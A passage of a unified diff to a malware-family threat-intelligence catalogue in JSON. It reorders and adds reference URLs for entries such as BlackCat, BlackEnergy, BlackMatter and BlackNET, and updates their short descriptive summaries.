"https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - 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"https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", - "https://unit42.paloaltonetworks.com/blackcat-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://community.riskiq.com/article/47766fbd", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", - "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", - "https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html", - "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware", - "https://blog.group-ib.com/blackcat", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", + "https://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.ic3.gov/Media/News/2022/220420.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", - "https://github.com/f0wl/blackCatConf", - "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://github.com/f0wl/blackCatConf" ], "synonyms": [ "ALPHV", @@ -15582,19 +16293,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee", - "https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/", - "https://attack.mitre.org/groups/G0096", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.youtube.com/watch?v=NFJqD-LcpIg", - "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf", + "https://attack.mitre.org/groups/G0025/", + "https://attack.mitre.org/groups/G0096", "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "https://attack.mitre.org/groups/G0001/", + "https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://attack.mitre.org/software/S0069/", "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://attack.mitre.org/groups/G0025/", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", + "https://www.youtube.com/watch?v=NFJqD-LcpIg" ], "synonyms": [ "PNGRAT", @@ -15607,36 +16318,36 @@ "value": "BLACKCOFFEE" }, { - "description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo “remote desktop”\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.", + "description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo \u201cremote desktop\u201d\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/", - "https://securelist.com/black-ddos/36309/", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://attack.mitre.org/groups/G0034", - "http://pds15.egloos.com/pds/201001/01/66/BlackEnergy_DDoS_Bot_Analysis.pdf", - "https://threatconnect.com/blog/casting-a-light-on-blackenergy/", - "https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/", - "https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html", - "https://marcusedmondson.com/2019/01/18/black-energy-analysis/", "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", - "https://www.secureworks.com/research/blackenergy2", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "http://pds15.egloos.com/pds/201001/01/66/BlackEnergy_DDoS_Bot_Analysis.pdf", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "https://www.secureworks.com/research/blackenergy2", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://securelist.com/black-ddos/36309/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://threatconnect.com/blog/casting-a-light-on-blackenergy/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf", + "https://attack.mitre.org/groups/G0034", + "http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf", + "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/", + "https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html", + "https://marcusedmondson.com/2019/01/18/black-energy-analysis/" ], "synonyms": [], "type": [] @@ -15649,20 +16360,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackguard", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://www.f5.com/labs/articles/threat-intelligence/blackguard-infostealer-malware-dissecting-the-state-of-exfiltrated-data", + "https://cyberint.com/blog/research/blackguard-stealer/", + "https://www.youtube.com/watch?v=Fd8WjxzY2_g", + "https://www.zdnet.com/article/meet-blackguard-a-new-infostealer-peddled-on-russian-hacker-forums/", + "https://thehackernews.com/2022/04/experts-shed-light-on-blackguard.html", + "https://medium.com/s2wblog/rising-stealer-in-q1-2022-blackguard-stealer-f516d9f85ee5", "https://blogs.blackberry.com/en/2022/04/threat-thursday-blackguard-infostealer", "https://ke-la.com/information-stealers-a-new-landscape/", - "https://www.zdnet.com/article/meet-blackguard-a-new-infostealer-peddled-on-russian-hacker-forums/", - "https://medium.com/s2wblog/rising-stealer-in-q1-2022-blackguard-stealer-f516d9f85ee5", - "https://thehackernews.com/2022/04/experts-shed-light-on-blackguard.html", "https://www.zscaler.com/blogs/security-research/analysis-blackguard-new-info-stealer-malware-being-sold-russian-hacking", + "https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ffb4", "https://blog.cyble.com/2022/04/01/dissecting-blackguard-info-stealer/", "https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/", - "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", - "https://www.youtube.com/watch?v=Fd8WjxzY2_g", - "https://cyberint.com/blog/research/blackguard-stealer/", - "https://www.f5.com/labs/articles/threat-intelligence/blackguard-infostealer-malware-dissecting-the-state-of-exfiltrated-data", - "https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ffb4", - "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", "https://www.techtimes.com/articles/273752/20220331/new-password-stealing-malware-hacking-forum-hack-password-stealing-google-chrome-binance-outlook-telegram.htm" ], "synonyms": [], @@ -15676,13 +16387,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2021/03/23/black-kingdom/", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", "https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://news.sophos.com/en-us/2021/03/23/black-kingdom/", - "https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html", "https://securelist.com/black-kingdom-ransomware/102873/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html" ], "synonyms": [], "type": [] @@ -15695,9 +16406,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus", - "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/", "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/", - "https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html" + "https://mssplab.github.io/threat-hunting/2023/07/15/malware-src-blacklotus.html", + "https://kn0s-organization.gitbook.io/blacklotus-analysis-stage2-bootkit-rootkit-stage/", + "https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html", + "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/" ], "synonyms": [], "type": [] @@ -15719,65 +16432,65 @@ "value": "BlackMagic" }, { - "description": "Ransomware-as-a-Service ", + "description": "According to PCrisk, BlackMatter is a piece of malicious software categorized as ransomware. It operates by encrypting data for the purpose of making ransom demands for the decryption tools. In other words, files affected by BlackMatter are rendered inaccessible, and victims are asked to pay - to recover access to their data.\r\n\r\nDuring the encryption process, files are appended with an extension consisting of a random character string. For example, a file initially named \"1.jpg\" would appear as something similar to \"1.jpg.k5RO9fVOl\". After this process is complete, the ransomware changes the desktop wallpaper and created a ransom note - \"[random_string].README.txt\" (e.g., k5RO9fVOl.README.txt).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter", - "https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", - "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", - "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant--lockbit-3-.html", - "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", - "https://www.mandiant.com/resources/cryptography-blackmatter-ransomware", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://www.varonis.com/blog/blackmatter-ransomware/", - "https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://blog.group-ib.com/blackmatter#", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.glimps.fr/lockbit3-0/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", - "https://blog.group-ib.com/blackmatter2", - "https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.netskope.com/blog/netskope-threat-coverage-blackmatter", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf", - "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", - "https://blog.minerva-labs.com/blackmatter", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/", + "https://blog.minerva-labs.com/blackmatter", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://blog.group-ib.com/blackmatter#", + "https://blog.group-ib.com/blackmatter2", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.varonis.com/blog/blackmatter-ransomware/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/", + "https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant--lockbit-3-.html", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", + "https://www.mandiant.com/resources/cryptography-blackmatter-ransomware", + "https://www.netskope.com/blog/netskope-threat-coverage-blackmatter", + "https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", + "https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/", + "https://www.glimps.fr/lockbit3-0/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], "type": [] @@ -15790,13 +16503,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknet_rat", - "http://www.pwncode.io/2019/12/blacknet-rat-when-you-leave-panel.html", - "https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware", + "https://github.com/FarisCode511/BlackNET/", "https://labs.k7computing.com/?p=21365", "https://github.com/BlackHacker511/BlackNET/", - "https://github.com/mave12/BlackNET-3.7.0.1", "https://blog.malwarebytes.com/threat-analysis/2020/03/fake-corona-antivirus-distributes-blacknet-remote-administration-tool/", - "https://github.com/FarisCode511/BlackNET/" + "http://www.pwncode.io/2019/12/blacknet-rat-when-you-leave-panel.html", + "https://github.com/mave12/BlackNET-3.7.0.1", + "https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware" ], "synonyms": [], "type": [] @@ -15822,10 +16535,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/" ], "synonyms": [ "Kaptoxa", @@ -15843,9 +16556,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote", - "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", "https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", - "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/" + "https://asec.ahnlab.com/en/56405/", + "https://news.sophos.com/en-us/2020/05/14/raticate/" ], "synonyms": 